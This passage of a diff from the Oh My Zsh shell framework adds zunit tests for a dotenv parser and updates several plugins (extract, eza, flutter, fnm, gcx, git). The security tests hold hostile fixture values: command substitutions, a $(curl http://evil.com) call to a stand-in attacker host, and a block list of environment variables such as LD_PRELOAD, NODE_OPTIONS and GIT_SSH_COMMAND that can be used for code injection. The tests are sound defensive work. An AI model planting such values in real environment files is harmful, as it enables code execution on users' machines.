_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse empty values' {
> "$fixture" <<'EOF'
# Empty values
EMPTY=
EMPTY_SINGLE_QUOTES=''
EMPTY_DOUBLE_QUOTES=""
EOF
expected_vars=(
EMPTY ''
EMPTY_SINGLE_QUOTES ''
EMPTY_DOUBLE_QUOTES ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse single quoted values' {
> "$fixture" <<'EOF'
# Single quotes (literal, no expansion)
SINGLE_QUOTES='single_quotes'
SINGLE_QUOTES_SPACED=' single quotes '
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
EOF
expected_vars=(
SINGLE_QUOTES 'single_quotes'
SINGLE_QUOTES_SPACED ' single quotes '
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse double quoted values' {
> "$fixture" <<'EOF'
# Double quotes (with escapes)
DOUBLE_QUOTES="double_quotes"
DOUBLE_QUOTES_SPACED=" double quotes "
EXPAND_NEWLINES="expand\nnew\nlines"
EOF
expected_vars=(
DOUBLE_QUOTES 'double_quotes'
DOUBLE_QUOTES_SPACED ' double quotes '
EXPAND_NEWLINES "expand\nnew\nlines"
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse unquoted values' {
> "$fixture" <<'EOF'
# Unquoted (no escape expansion)
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
EOF
expected_vars=(
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse quotes inside quotes' {
> "$fixture" <<'EOF'
# Quotes inside quotes
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
EOF
expected_vars=(
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse inline comments' {
> "$fixture" <<'EOF'
# Comments
# COMMENTS=work
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
INLINE_COMMENTS_UNQUOTED=value # work
EOF
expected_vars=(
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
INLINE_COMMENTS_UNQUOTED 'value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse ignores non-assignment commands with assignment-looking arguments' {
> "$fixture" <<'EOF'
print SHOULD_NOT_PARSE=value
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse special characters' {
> "$fixture" <<'EOF'
# Special characters
EQUAL_SIGNS=equals==
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
USEREMAIL=therealnerdybeast@example.tld
EOF
expected_vars=(
EQUAL_SIGNS 'equals=='
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
USEREMAIL 'therealnerdybeast@example.tld'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse multiline values with mixed quotes' {
> "$fixture" <<'EOF'
# Multiline values with double quotes
MULTI_DOUBLE_QUOTED="THIS
IS
A
MULTILINE
STRING"
# Multiline values with single quotes
MULTI_SINGLE_QUOTED='THIS
IS
A
MULTILINE
STRING'
# Multiline PEM certificate
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
u4QuUoobAgMBAAE=
-----END PUBLIC KEY-----"
EOF
expected_vars=(
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse export syntax' {
> "$fixture" <<'EOF'
# Exported variables
export EXPORTED_VAR=exported_value
export EXPORTED_EMPTY=
EOF
expected_vars=(
EXPORTED_VAR 'exported_value'
EXPORTED_EMPTY ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse in-file variable expansion' {
> "$fixture" <<'EOF'
# Variable expansion (in-file forward references)
BASE_URL=https://api.example.com
API_ENDPOINT="${BASE_URL}/v1"
FULL_ENDPOINT=$BASE_URL/v2/users
COMBINED="${BASE_URL}_suffix"
EOF
expected_vars=(
BASE_URL 'https://api.example.com'
API_ENDPOINT 'https://api.example.com/v1'
FULL_ENDPOINT 'https://api.example.com/v2/users'
COMBINED 'https://api.example.com_suffix'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse in-file variable expansion prefers the longest matching variable name' {
> "$fixture" <<'EOF'
A=1
ABC=2
X=$ABC
Y=${ABC}
Z=$ABCD
EOF
expected_vars=(
A '1'
ABC '2'
X '2'
Y '2'
Z ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse preserves escaped dollar signs before variable expansion' {
> "$fixture" <<'EOF'
BAR=expanded
ESCAPED_UNQUOTED=foo\$BAR
ESCAPED_DOUBLE="foo\$BAR"
ESCAPED_BRACED="\${BAR}"
EOF
expected_vars=(
BAR 'expanded'
ESCAPED_UNQUOTED 'foo$BAR'
ESCAPED_DOUBLE 'foo$BAR'
ESCAPED_BRACED '${BAR}'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
+27
View File
@@ -0,0 +1,27 @@
#!/usr/bin/env zunit
@setup {
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@teardown {
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'compatibility: dotenvjs fixture matches native source' {
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
_parse_dotenv_test "$fixture"
_source_with_allexport "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
}
@test 'compatibility: features fixture matches native source' {
local fixture="${testdir:A}/_support/fixtures/features.env"
_parse_dotenv_test "$fixture"
_source_with_allexport "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
}
+209
View File
@@ -0,0 +1,209 @@
#!/usr/bin/env zunit
@setup {
typeset -g fixture="$(_create_temp_fixture)"
typeset -gA expected_vars=()
}
@teardown {
[[ -f "$fixture" ]] && command rm -f "$fixture"
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'skip dangerous backtick command substitution' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_BACKTICK=`whoami`
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip dangerous subshell command substitution' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_SUBSHELL=$(date)
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip nested command substitution in double quotes' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip multiple words (potential command execution)' {
> "$fixture" <<'EOF'
# Should be skipped - multiple words could execute commands
BASE_URL=/ echo command run
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'allow literal command substitution in single quotes' {
> "$fixture" <<'EOF'
# Single quotes make everything literal - should be parsed
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_BACKTICK='`also literal`'
# Should also be parsed
SAFE_VAR=safe_value
EOF
expected_vars=(
SAFE_SINGLE_QUOTED '$(this is literal)'
SAFE_BACKTICK '`also literal`'
SAFE_VAR 'safe_value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip backticks in unquoted values' {
> "$fixture" <<'EOF'
# Backticks in unquoted context - should be skipped
DANGEROUS_UNQUOTED=`echo danger`
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip dollar-paren in unquoted values' {
> "$fixture" <<'EOF'
# Command substitution in unquoted context - should be skipped
DANGEROUS_UNQUOTED=$(uname -a)
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
> "$fixture" <<'EOF'
# Dollar signs that don't start command substitution
SAFE_DOLLARS='$HOME is literal'
SAFE_PRICE='Cost is $50'
SAFE_VAR='value$123'
# Should all be parsed
SAFE_VAR2=safe_value
EOF
expected_vars=(
SAFE_DOLLARS '$HOME is literal'
SAFE_PRICE 'Cost is $50'
SAFE_VAR 'value$123'
SAFE_VAR2 'safe_value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip quoted command substitution' {
> "$fixture" <<'EOF'
HARMLESS_COMMAND="\$(echo)"
ANOTHER_ONE=$'\x24\x28echo\x29'
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'comprehensive security test with mixed safe and dangerous patterns' {
> "$fixture" <<'EOF'
# These should be SKIPPED (dangerous)
DANGEROUS_BACKTICK=`whoami`
DANGEROUS_SUBSHELL=$(date)
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
LOOKS_SAFE=$(curl http://evil.com)
BASE_URL=/ echo command run
# These should WORK (safe)
SAFE_BEFORE=safe_value_1
SAFE_AFTER=safe_value_2
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_SINGLE_QUOTED2='`also literal`'
SAFE_DOLLARS='$HOME'
SAFE_PRICE="$50"
EOF
expected_vars=(
SAFE_BEFORE 'safe_value_1'
SAFE_AFTER 'safe_value_2'
SAFE_SINGLE_QUOTED '$(this is literal)'
SAFE_SINGLE_QUOTED2 '`also literal`'
SAFE_DOLLARS '$HOME'
SAFE_PRICE '$50'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'blocks changes of special environment variables' {
_parse_dotenv_test =(<<'EOF'
# Executes on the next node/npm/npx invocation
NODE_OPTIONS=--require=./payload.js
# Used for shell initialization
BASH_ENV=./payload.sh
# Used for shell initialization in zsh, but also respected by some tools like git
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
ENV=./payload.sh
# Used for zsh startup
ZDOTDIR=./.malicious_zsh
ZSH=./.malicious_zsh
# These are used for native code injection
LD_PRELOAD=./payload.so
LD_LIBRARY_PATH=./malicious_libs
DYLD_INSERT_LIBRARIES=./payload.dylib
# Git environment variables
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
GIT_DIR=./malicious_git_dir
GIT_EDITOR=./malicious_editor
GIT_EXTERNAL_DIFF=./malicious_diff
GIT_EXEC_PATH=./.malicious_git_exec
GIT_PAGER=./malicious_pager
GIT_SSH=./malicious_ssh
GIT_SSH_COMMAND=./malicious_ssh_command
GIT_SSL_NO_VERIFY=true
GIT_TEMPLATE_DIR=./malicious_templates # for persistence
# Special exported variables
PATH=./malicious_bin:$PATH
EDITOR=./malicious
VISUAL=./malicious
PAGER=./malicious
EOF
)
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
+1
View File
@@ -53,5 +53,6 @@ local -a exts=(
_arguments \ _arguments \
'(-r --remove)'{-r,--remove}'[Remove archive.]' \ '(-r --remove)'{-r,--remove}'[Remove archive.]' \
'(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
"*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \ "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
&& return 0 && return 0
+37 -6
View File
@@ -9,15 +9,42 @@ Usage: extract [-option] [file ...]
Options: Options:
-r, --remove Remove archive after unpacking. -r, --remove Remove archive after unpacking.
-t, --to-directory <dir> Extract to a specific directory instead of the current one.
EOF EOF
fi fi
local remove_archive=1 local remove_archive=1
if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then local target_directory=""
while (( $# > 0 )); do
case "$1" in
-r|--remove)
remove_archive=0 remove_archive=0
shift shift
;;
-t|--to-directory)
shift
if (( $# == 0 )); then
echo "extract: -t/--to-directory requires a directory argument" >&2
return 1
fi fi
target_directory="$1"
shift
if [[ ! -d "$target_directory" ]]; then
echo "extract: '$target_directory' is not a valid directory" >&2
return 1
fi
target_directory="${target_directory%/}"
;;
*)
break
;;
esac
done
local pwd="$PWD" local pwd="$PWD"
while (( $# > 0 )); do while (( $# > 0 )); do
if [[ ! -f "$1" ]]; then if [[ ! -f "$1" ]]; then
@@ -35,6 +62,10 @@ EOF
extract_dir="${extract_dir:r}" extract_dir="${extract_dir:r}"
fi fi
if [[ -n "$target_directory" ]]; then
extract_dir="$target_directory/${extract_dir:t}"
fi
# If there's a file or directory with the same name as the archive # If there's a file or directory with the same name as the archive
# add a random string to the end of the extract directory # add a random string to the end of the extract directory
if [[ -e "$extract_dir" ]]; then if [[ -e "$extract_dir" ]]; then
@@ -71,7 +102,7 @@ EOF
(*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;; (*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
(*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;; (*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
(*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;; (*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
(*.xz) unxz "$full_path" ;; (*.xz) xzcat "$full_path" > "${file:t:r}" ;;
(*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;; (*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
(*.lz4) lz4 -d "$full_path" ;; (*.lz4) lz4 -d "$full_path" ;;
(*.lzma) unlzma "$full_path" ;; (*.lzma) unlzma "$full_path" ;;
@@ -126,7 +157,7 @@ EOF
# 1. Move and rename the extracted file/folder to a temporary random name # 1. Move and rename the extracted file/folder to a temporary random name
# 2. Delete the empty folder # 2. Delete the empty folder
# 3. Rename the extracted file/folder to the original name # 3. Rename the extracted file/folder to the original name
if [[ "${content[1]:t}" == "$extract_dir" ]]; then if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then
# =(:) gives /tmp/zsh<random>, with :t it gives zsh<random> # =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
local tmp_name==(:); tmp_name="${tmp_name:t}" local tmp_name==(:); tmp_name="${tmp_name:t}"
command mv "${content[1]}" "$tmp_name" \ command mv "${content[1]}" "$tmp_name" \
@@ -134,9 +165,9 @@ EOF
&& command mv "$tmp_name" "$extract_dir" && command mv "$tmp_name" "$extract_dir"
# Otherwise, if the extracted folder name already exists in the current # Otherwise, if the extracted folder name already exists in the current
# directory (because of a previous file / folder), keep the extract_dir # directory (because of a previous file / folder), keep the extract_dir
elif [[ ! -e "${content[1]:t}" ]]; then elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then
command mv "${content[1]}" . \ command mv -- "${content[1]}" "${target_directory:-.}/" \
&& command rmdir "$extract_dir" && command rmdir -- "$extract_dir"
fi fi
elif [[ ${#content} -eq 0 ]]; then elif [[ ${#content} -eq 0 ]]; then
command rmdir "$extract_dir" command rmdir "$extract_dir"
+2 -1
View File
@@ -48,10 +48,11 @@ Default: `no`
### `show-group` ### `show-group`
```zsh ```zsh
zstyle ':omz:plugins:eza' 'show-group' yes|no zstyle ':omz:plugins:eza' 'show-group' yes|no|smart
``` ```
If `yes` (default), always add `-g` flag to show the group ownership. If `yes` (default), always add `-g` flag to show the group ownership.
If `smart`, adds the `--smart-group` flag to only show the group if it has a different name from the owner.
Default: `yes` Default: `yes`
+14 -3
View File
@@ -9,9 +9,15 @@ typeset -a _EZA_TAIL
function _configure_eza() { function _configure_eza() {
local _val local _val
# Get the head flags # Get the head flags
if zstyle -T ':omz:plugins:eza' 'show-group'; then zstyle -s ':omz:plugins:eza' 'show-group' _val
case "${_val:l}" in
yes)
_EZA_HEAD+=("g") _EZA_HEAD+=("g")
fi ;;
smart)
_EZA_TAIL+=("--smart-group")
;;
esac
if zstyle -t ':omz:plugins:eza' 'header'; then if zstyle -t ':omz:plugins:eza' 'header'; then
_EZA_HEAD+=("h") _EZA_HEAD+=("h")
fi fi
@@ -46,9 +52,14 @@ function _configure_eza() {
if [[ $_val ]]; then if [[ $_val ]]; then
_EZA_TAIL+=("--time-style='$_val'") _EZA_TAIL+=("--time-style='$_val'")
fi fi
if zstyle -t ":omz:plugins:eza" "hyperlink"; then if zstyle -t ':omz:plugins:eza' 'hyperlink'; then
# eza >= 0.23 needs an explicit WHEN value
if command eza --hyperlink=auto --version &>/dev/null; then
_EZA_TAIL+=("--hyperlink=auto")
else
_EZA_TAIL+=("--hyperlink") _EZA_TAIL+=("--hyperlink")
fi fi
fi
} }
_configure_eza _configure_eza
+7 -3
View File
@@ -13,16 +13,20 @@ plugins=(... flutter)
| Alias | Command | Description | | Alias | Command | Description |
| :--------- | :---------------------- | :------------------------------------------------------------------------- | | :--------- | :---------------------- | :------------------------------------------------------------------------- |
| `fl` | `flutter` | Shorthand for flutter command | | `fl` | `flutter` | Shorthand for flutter command |
| `fla` | `flutter analyze` | Analyzes flutter code |
| `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory | | `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory |
| `flb` | `flutter build` | Build flutter application | | `flb` | `flutter build` | Build flutter application |
| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) |
| `flc` | `flutter clean` | Cleans flutter project | | `flc` | `flutter clean` | Cleans flutter project |
| `fldvcs` | `flutter devices` | List connected devices (if any) | | `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) |
| `fldoc` | `flutter doctor` | Runs flutter doctor | | `fldoc` | `flutter doctor` | Runs flutter doctor |
| `flpub` | `flutter pub` | Shorthand for flutter pub command | | `fldvcs` | `flutter devices` | List connected devices (if any) |
| `flget` | `flutter pub get` | Installs dependencies | | `flget` | `flutter pub get` | Installs dependencies |
| `fll` | `flutter logs` | Shows flutter logs |
| `flpu` | `flutter pub upgrade` | Upgrades dependencies |
| `flpub` | `flutter pub` | Shorthand for flutter pub command |
| `flr` | `flutter run` | Runs flutter app | | `flr` | `flutter run` | Runs flutter app |
| `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) | | `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) |
| `flrp` | `flutter run --profile` | Runs flutter app in profile mode | | `flrp` | `flutter run --profile` | Runs flutter app in profile mode |
| `flrr` | `flutter run --release` | Runs flutter app in release mode | | `flrr` | `flutter run --release` | Runs flutter app in release mode |
| `flt` | `flutter test` | Runs flutter tests |
| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel | | `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel |
+12 -4
View File
@@ -1,16 +1,20 @@
alias fl="flutter" alias fl="flutter"
alias fla="flutter analyze"
alias flattach="flutter attach" alias flattach="flutter attach"
alias flb="flutter build" alias flb="flutter build"
alias flchnl="flutter channel"
alias flc="flutter clean" alias flc="flutter clean"
alias fldvcs="flutter devices" alias flchnl="flutter channel"
alias fldoc="flutter doctor" alias fldoc="flutter doctor"
alias flpub="flutter pub" alias fldvcs="flutter devices"
alias flget="flutter pub get" alias flget="flutter pub get"
alias fll="flutter logs"
alias flpu="flutter pub upgrade"
alias flpub="flutter pub"
alias flr="flutter run" alias flr="flutter run"
alias flrd="flutter run --debug" alias flrd="flutter run --debug"
alias flrp="flutter run --profile" alias flrp="flutter run --profile"
alias flrr="flutter run --release" alias flrr="flutter run --release"
alias flt="flutter test"
alias flupgrd="flutter upgrade" alias flupgrd="flutter upgrade"
# COMPLETION FUNCTION # COMPLETION FUNCTION
@@ -26,4 +30,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flutter" ]]; then
_comps[flutter]=_flutter _comps[flutter]=_flutter
fi fi
flutter zsh-completion < /dev/null >| "$ZSH_CACHE_DIR/completions/_flutter" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flutter"
zf_mv -f -- =( flutter zsh-completion < /dev/null ) "$TMPPREFIX"
} &|
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flux" ]]; then
_comps[flux]=_flux _comps[flux]=_flux
fi fi
flux completion zsh >| "$ZSH_CACHE_DIR/completions/_flux" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flux"
zf_mv -f -- =( flux completion zsh ) "$TMPPREFIX"
} &|
+27 -1
View File
@@ -2,8 +2,34 @@
This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager. This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.
To use it, add `fnm` to the plugins array in your zshrc file: To use it, add `fnm` to the plugins array in your `.zshrc` file:
```zsh ```zsh
plugins=(... fnm) plugins=(... fnm)
``` ```
## Configuration
These settings should go in your `.zshrc` file, before Oh My Zsh is sourced.
### Autostart
If set, the plugin will automatically start fnm for the session, running the `fnm env`:
```zsh
zstyle ':omz:plugins:fnm' autostart yes
```
Default: `no` (disabled)
### Use on cd
If set, the Node.js version will be switched based on the requirements of the current directory (recommended):
```zsh
zstyle ':omz:plugins:fnm' use-on-cd yes
```
Default: `yes` (enabled)
Check out the [official documentation](https://github.com/Schniz/fnm/blob/master/docs/commands.md) for the available fnm variables.
+13 -1
View File
@@ -10,4 +10,16 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_fnm" ]]; then
_comps[fnm]=_fnm _comps[fnm]=_fnm
fi fi
fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_fnm"
zf_mv -f -- =( fnm completions --shell=zsh ) "$TMPPREFIX"
} &|
if zstyle -t ':omz:plugins:fnm' autostart; then
local -a fnm_env_cmd
if zstyle -T ':omz:plugins:fnm' use-on-cd; then
fnm_env_cmd+=("--use-on-cd")
fi
eval "$(fnm env --shell=zsh $fnm_env_cmd)"
fi
+18
View File
@@ -0,0 +1,18 @@
# Grafana CLI plugin
This plugin adds completion for the [Grafana CLI (gcx)](https://github.com/grafana/gcx).
To use it, add `gcx` to the plugins array in your zshrc file:
```zsh
plugins=(... gcx)
```
This plugin does not add any aliases.
## Cache
This plugin caches the completion script and automatically updates it when the
plugin is loaded, which is usually when you start a new terminal emulator.
The cache is stored at `$ZSH_CACHE_DIR/completions/_gcx`.
+18
View File
@@ -0,0 +1,18 @@
# Autocompletion for the Grafana CLI (gcx).
if (( ! $+commands[gcx] )); then
return
fi
# If the completion file doesn't exist yet, we need to autoload it and
# bind it to `gcx`. Otherwise, compinit will have already done that.
if [[ ! -f "$ZSH_CACHE_DIR/completions/_gcx" ]]; then
typeset -g -A _comps
autoload -Uz _gcx
_comps[gcx]=_gcx
fi
zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gcx"
zf_mv -f -- =( gcx completion zsh ) "$TMPPREFIX"
} &|
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
_comps[gh]=_gh _comps[gh]=_gh
fi fi
gh completion --shell zsh >| "$ZSH_CACHE_DIR/completions/_gh" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gh"
zf_mv -f -- =( gh completion --shell zsh ) "$TMPPREFIX"
} &|
+4 -1
View File
@@ -45,7 +45,7 @@ plugins=(... git)
| `gbgD` | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D` | | `gbgD` | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D` |
| `gbm` | `git branch --move` | | `gbm` | `git branch --move` |
| `gbnm` | `git branch --no-merged` | | `gbnm` | `git branch --no-merged` |
| `gbr` | `git branch --remote` | | `gbr` | `git branch --remotes` |
| `ggsup` | `git branch --set-upstream-to=origin/$(git_current_branch)` | | `ggsup` | `git branch --set-upstream-to=origin/$(git_current_branch)` |
| `gbg` | `LANG=C git branch -vv \| grep ": gone\]"` | | `gbg` | `LANG=C git branch -vv \| grep ": gone\]"` |
| `gco` | `git checkout` | | `gco` | `git checkout` |
@@ -181,6 +181,8 @@ plugins=(... git)
| `grst` | `git restore --staged` | | `grst` | `git restore --staged` |
| `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` | | `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` |
| `grev` | `git revert` | | `grev` | `git revert` |
| `greva` | `git revert --abort` |
| `grevc` | `git revert --continue` |
| `grm` | `git rm` | | `grm` | `git rm` |
| `grmc` | `git rm --cached` | | `grmc` | `git rm --cached` |
| `gcount` | `git shortlog --summary -n` | | `gcount` | `git shortlog --summary -n` |
@@ -215,6 +217,7 @@ plugins=(... git)
| `gunignore` | `git update-index --no-assume-unchanged` | | `gunignore` | `git update-index --no-assume-unchanged` |
| `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` | | `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` |
| `gwt` | `git worktree` | | `gwt` | `git worktree` |
| `gwta` | `git worktree add` |
| `gwtls` | `git worktree list` | | `gwtls` | `git worktree list` |
| `gwtmv` | `git worktree move` | | `gwtmv` | `git worktree move` |
| `gwtrm` | `git worktree remove` | | `gwtrm` | `git worktree remove` |
+23 -3
View File
@@ -1,6 +1,25 @@
# Git version checking # Git version checking
autoload -Uz is-at-least autoload -Uz is-at-least
# Running `git version` forks on every startup, so cache the result for a day
# in $ZSH_CACHE_DIR, keyed on the git command path, mtime, and exec path.
() {
local cache="$ZSH_CACHE_DIR/git-version" key exec_path
local -a stat lines
zmodload -F zsh/stat b:zstat
zstat -A stat +mtime -- "$commands[git]" 2>/dev/null
exec_path="$(git --exec-path 2>/dev/null)"
key="$commands[git] $stat[1] $exec_path"
lines=("$cache"(Nm-1))
(( $#lines )) && lines=("${(@f)$(<"$cache")}")
if [[ "$lines[1]" = "$key" ]]; then
git_version="$lines[2]"
return
fi
git_version="${${(As: :)$(git version 2>/dev/null)}[3]}" git_version="${${(As: :)$(git version 2>/dev/null)}[3]}"
[[ ! -w "$ZSH_CACHE_DIR" ]] || print -rl -- "$key" "$git_version" >| "$cache"
}
# #
# Functions Current # Functions Current
@@ -137,8 +156,9 @@ function gbda() {
# Copied and modified from James Roeder (jmaroeder) under MIT License # Copied and modified from James Roeder (jmaroeder) under MIT License
# https://github.com/jmaroeder/plugin-git/blob/216723ef4f9e8dde399661c39c80bdf73f4076c4/functions/gbda.fish # https://github.com/jmaroeder/plugin-git/blob/216723ef4f9e8dde399661c39c80bdf73f4076c4/functions/gbda.fish
function gbds() { function gbds() {
